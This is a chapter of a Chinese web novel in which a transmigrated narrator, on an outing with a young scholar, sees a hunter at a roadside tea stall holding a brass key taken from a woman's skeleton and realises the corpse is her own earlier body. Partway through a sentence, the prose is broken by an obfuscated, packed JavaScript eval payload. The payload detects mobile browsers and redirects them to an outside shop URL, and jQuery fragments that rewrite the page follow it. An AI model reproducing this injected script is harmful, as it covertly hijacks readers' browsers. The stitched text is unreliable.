父亲关于御史南下的告诫，像一层无形的薄冰，覆盖在林府往日的从容之上。府里的气氛明显沉静了许多。连母亲去各府走动都少了，更多时间留在家里，督促我女红，或是检查我誊抄的书目。
赵珩借书，成为沉闷日子里唯一的外界气息。书目终于抄完，母亲过目后，让林福派了个伶俐的小厮，送往县衙后宅。不过两日，回礼和回帖便来了。
两盒精致的文房点心，并一本赵珩手抄的唐人诗集，字迹清隽飘逸。回帖言辞恳切，他邀我后日同游，并言已禀明母亲，赵夫人亦觉此乃雅事，若林小姐得暇，盼能成行。
“赵公子倒是周到。”母亲语气平淡，“落霞坡离城不远，景致也还清静。你父亲的意思，既是寻常交往，不必过于拘谨。你整日在府里，也闷坏了，出去散散心也好。”
“母亲……不一同去吗？”我下意识地问，带着一丝自己都未察觉的依赖。
母亲看了我一眼，那目光里带着一种了然的审视，随即化为淡淡的，不容置疑的规划：“赵公子邀的是你，我若同去，反而不美。年轻人自有年轻人的相处之道。春竹、秋穗跟着，林福再安排两个最稳妥的护院，早去早回便是。”她顿了顿，指尖在诗稿上轻轻一点，“赵公子家风清正，举止有度，你只需言行得体，不失林家门风即可。这也是你该学的。”
“是。”我低下头。母亲的话堵死了我任何退缩的借口。
后日一早，天色澄澈。我换了身便于行动的浅碧色绣缠枝兰草的襦裙，外罩月白比甲，头发简单绾起，镜中人清丽温婉。只是偶尔，当我不经意间瞥见镜中那双眼睛深处一闪而过，与这稚嫩脸庞不符的沉郁时，会有一瞬间的恍惚，想起我本来是个三十岁出头的人。
马车出了城，沿着官道行驶小半个时辰，便拐上一条略窄但平整的土路。不多时，眼前豁然开朗。一片缓坡向阳展开，绿草如茵，间或点缀着野花。坡顶视野极好，能望见远处连绵的春山，坡下有条清澈的小溪。
赵珩已经到了，身边只跟着一个书童和一个中年仆从。他今日穿着雨过天青色的直裰，更显身姿挺拔。见我的马车停下，他含笑迎了上来。
“林小姐。”他拱手行礼，笑容明朗，“劳烦移步，珩深感荣幸。此处简陋，唯有清风野趣，还望莫要嫌弃。”
“赵公子客气。”我回礼，“此处景致甚好，有劳公子费心。”
“林小姐请看，”赵珩引着我沿小径往坡上走，指着远处山峦，“那便是西岭余脉。春日山色，晨间青黛，午后苍翠，待到夕阳染金，故有‘落霞’之名。”
我顺着他指的方向望去，阳光下的山色温柔宁静。
“确实很美。”我轻声应道。
赵珩很会引导话题，谈论诗词典故，或是本地风物传说，语气轻松，不会让人感到压力。我大多时候只是听着，偶尔附和。他学识颇丰，且懂得照顾听者，不会一味掉书袋。我们保持着恰到好处的距离，他的举止始终礼貌周全。我能感觉到他试图营造一种轻松愉快的氛围，而我也尽力配合，扮演一个羞怯但知礼的闺秀。
坡上风有些大，赵珩很自然地侧身，替我挡了些风。这个细微的举动体贴而不逾矩。我低声道谢，心里却想，若真是十五六岁的林晚琪，此刻大概会脸红心跳吧。而现在的我，只有一种被妥善照顾且略带疏离的感激。
我们在坡顶驻足，从这里望去，景色更佳，能隐约看到更远处官道的某一段。
“那边官道旁，似乎有个茶寮？”我随口问道，只是为了说点什么，也为了确认位置。
赵珩看了一眼，点头：“是。是个老茶寮，多是过往行商、脚夫歇脚之处。茶粗陋，但炊饼实在。”他笑了笑，语气里带着一种出身良好的少年对底层生活略带好奇的俯视，“不过，那里鱼龙混杂，不比家中茶楼清净。”
日头渐高，赵珩接着提议：“走了这些路，林小姐想必也渴了。回城路上，倒可去那茶寮略坐坐，用些茶点再回府，免得空腹颠簸。只是地方粗陋，不知林小姐意下如何？”
我其实不想去，有点厌倦那种环境，厌倦可能出现的麻烦，更厌倦被迫去面对与我此刻身份格格不入的粗粝。但赵珩提议得自然，且是出于照顾，若断然拒绝，显得过于娇气，也不符合林二小姐该有的教养。
我犹豫了一下，目光扫过春竹。春竹微微摇头，眼里有不赞同。但赵珩正温和而期待地看着我。
“……也好。”我听见自己说，声音平静，“有劳公子。”
一行人下了坡，马车行至官道，不多时便到了那茶寮。
果然简陋。茅草顶，竹木为架，四面透风。门口空地上摆着几张粗木桌凳，已经坐了几伙人。有赶着驴车风尘仆仆的货郎，有挑着担子歇脚的农夫，还有两个眼神精悍的行脚商人。茶寮老板是个干瘦老头，正提着大铜壶给客人续水。
我们的到来，像一颗石子投入浑浊的水塘。几桌客人都停下了交谈，目光齐刷刷地投了过来。
赵珩神色自若，仿佛早已习惯成为焦点，引着我走向最靠边一张相对干净的桌子。春竹和秋穗连忙拿出自带的细布铺在凳子上。
“委屈林小姐了。”赵珩歉然道，吩咐书童去让老板上些干净的茶水和炊饼。
我坐下，垂着眼，用帕子轻轻掩了掩口鼻。不是矫情，是那混合气味确实令人不适。
粗陶碗的茶水和焦黄的炊饼很快上来。茶水浑浊，炊饼粗糙。我没有动。赵珩也只略沾了沾唇，显然也不习惯这种饮食。他似乎为了缓解尴尬，与我低声说着话，话题转向他近日读某本游记的感想，说起海外风物。
我有些心不在焉，目光借着垂眼的掩护，无意识地扫视着周围。然后，定格在旁边那桌。
那桌坐着三个汉子，衣着陈旧，面容粗犷黝黑，手上骨节粗大，带着长期在山野劳作的痕迹，是猎户。桌上放着鼓鼓囊囊的包袱和一把用旧布仔细裹着的长条物件，看形状是猎叉或柴刀。他们正凑在一起，低声说着什么，声音压得很低，带着山里人特有的、略显沉闷的口音。
其中一个年长的，约莫五十多岁，脸上皱纹深如刀刻。他小心翼翼地从怀里掏出一个脏得看不出原色的小旧布包，放在桌上，一层层打开。里面是几样零碎东西。他拿起一样，递给对面的年轻同伴看，嘴里嘟囔着，声音断断续续飘来：“……就这些，王掌柜给的那点跑腿钱，也就够摸个边儿……真当是去挖宝？”
我的目光随意扫过布包里的东西，一个锈蚀得几乎看不出形状的铁箭头，半截乌木簪子，几块边缘锋利的碎陶片……都是山里、废墟里常见的破烂，不值钱。
然后，我的视线，像被无形的钉子钉住，死死锁在了老猎户此刻捏在手里的那样东西上。那样东西，在透过茅草缝隙漏下有些浑浊的阳光里，反射出一点黯淡的黄铜色泽。
那形状……
木鱼头。凹字三齿。一刀痕。
时间、声音、气味……一切感知都在那一刻被抽离。茶寮里所有的嘈杂，赵珩温和的语调，风吹茅草的窸窣，甚至我自己呼吸的声音，全都像被一只巨手抹去。只剩下死寂，和心脏在胸腔里疯狂擂动，几乎要撞碎肋骨的巨响。血液冲上头顶，又在瞬间冻结，带来一阵天旋地转的冰冷眩晕。
那把钥匙……那把样式独一无二的黄铜钥匙……
老猎户的声音，穿过那层死寂的薄膜，断断续续，却字字如冰锥，凿进我的耳膜、我的脑子：“……挂在狼标子低坡那具尸骨的颈骨上，麻绳都烂了。看骨头，是个成年女子，死了有些时日了，肉早没了……”
成年女子……尸骨……颈骨上……
我猛地低下头，动作僵硬得如同生锈的木偶，死死盯着自己面前粗陶茶碗里那浑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119604|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
浊微微晃动的茶水。水面模糊地映出一张脸——属于林晚琪的，也是属于我的年轻娇嫩的脸，此刻却惨白得没有一丝血色，嘴唇不受控制地哆嗦着，那双眼睛睁得极大，瞳孔深处是无法掩饰的、近乎崩溃的惊骇。
手指冰凉，完全失去了知觉，不听使唤地抽搐了一下，碰翻了茶碗。
“哐当”一声脆响，在突然恢复的嘈杂背景音中，显得格外刺耳。
“小姐！”春竹的惊呼近在咫尺，又仿佛远在天边。她慌忙上前，用帕子擦拭泼洒的茶水和弄湿的桌布、裙角。
赵珩也停下了话语，关切地倾身过来：“林小姐？可是烫着了？还是哪里不适？”他的声音里带着真诚的担忧。
“没……没什么。”我听到自己的声音，飘忽得像是从另一个人的喉咙里挤出来的，每一个字都耗费着巨大的力气，“手……手滑了。没拿稳。”
我强迫自己抬起头，脸部肌肉僵硬地调动，试图挤出一个无妨的笑容。但那笑容一定扭曲难看极了。
那把钥匙的形状带着灼热的痛感——
我的钥匙。阿山母亲留下的、那个小铁盒的钥匙。我一直贴身藏着，直到……直到上一次生命的终结。
它挂在“狼标子”一具成年女子尸骨的颈骨上。
那具尸骨……是谁？
答案，像早已潜伏在深渊的巨兽，终于挣破冰面，带着彻骨的寒气和毁灭性的真实，撞入我的意识。
死在狼标子附近。
身上挂着那把独一无二的属于“青石村那个我”的钥匙。
那具尸骨……是“我”。
是上一次实验里，死在狼群口中的，三十岁的“我”。
“啪嗒。”
一滴冷汗，从我额角滑落，滴在桌布上，形成一小团深色痕迹。
赵珩温和的声音再次传来，带着一丝不容拒绝的体贴：“林小姐脸色很不好，此处风大土浊，实在不宜久留。不如我们早些回去，请个大夫瞧瞧？”
我像是即将溺毙的人抓住了浮木，几乎是迫不及待地点头，声音颤抖得厉害：“好……好的。有劳……有劳公子。”
我几乎是半倚在春竹和秋穗身上，被她们半扶半架着弄上马车的，腿软得不像自己的。上车前最后一瞬，我用眼角余光扫了一眼那猎户的桌子。
老猎户已经把那把黄铜钥匙重新用旧布仔细包好，正塞回怀里贴身处。他端起粗陶碗，喝了一大口茶，对旁边桌这位娇小姐的失态和匆匆离去毫不在意，继续与同伴低声说着山里的事。
马车启动，车轮碾过官道的尘土。我蜷缩在车厢最里面的角落，止不住从骨头缝里渗出寒意。
我确实又进入了同一个世界里，而我上一次的死亡居然留下了痕迹，这是我这段时间沉溺在林府的安宁，一直拖延着没有去证实的事情。难道我的每次出现都不是凭空创造的角色，而是这个世界原本就存在的人被我夺舍了？那这个世界究竟是不是真的？被我意识夺取控制权的身体原本应该有着怎么样的人生？
一种荒诞至极、又冰冷无比的真实感，扼住了我的喉咙。我突然想到了研究人员那种把进入这个世界当成一种游戏的态度。
“小姐，您还在发抖。”春竹的声音带着哭腔，她试图把暖手炉塞进我手里，“咱们马上就到家了，到家就好了……”
不……琪琪，别慌，这都是假的，别认错世界了……这个世界是假的。
我紧紧闭着眼，指甲深深掐进掌心。
马车在平整的官道上疾驰，车厢微微摇晃。外面是春日的阳光和田野，是真实得触手可及的世界。这些都是代码，是数据，是实验室里冰冷的休眠舱，只是真实的可怕，令人分辨不清。
赵珩在车外隔着车窗礼貌地道别，声音依旧清朗温和，嘱咐书童护送我们回府。我含糊地应着，一个字也没听清。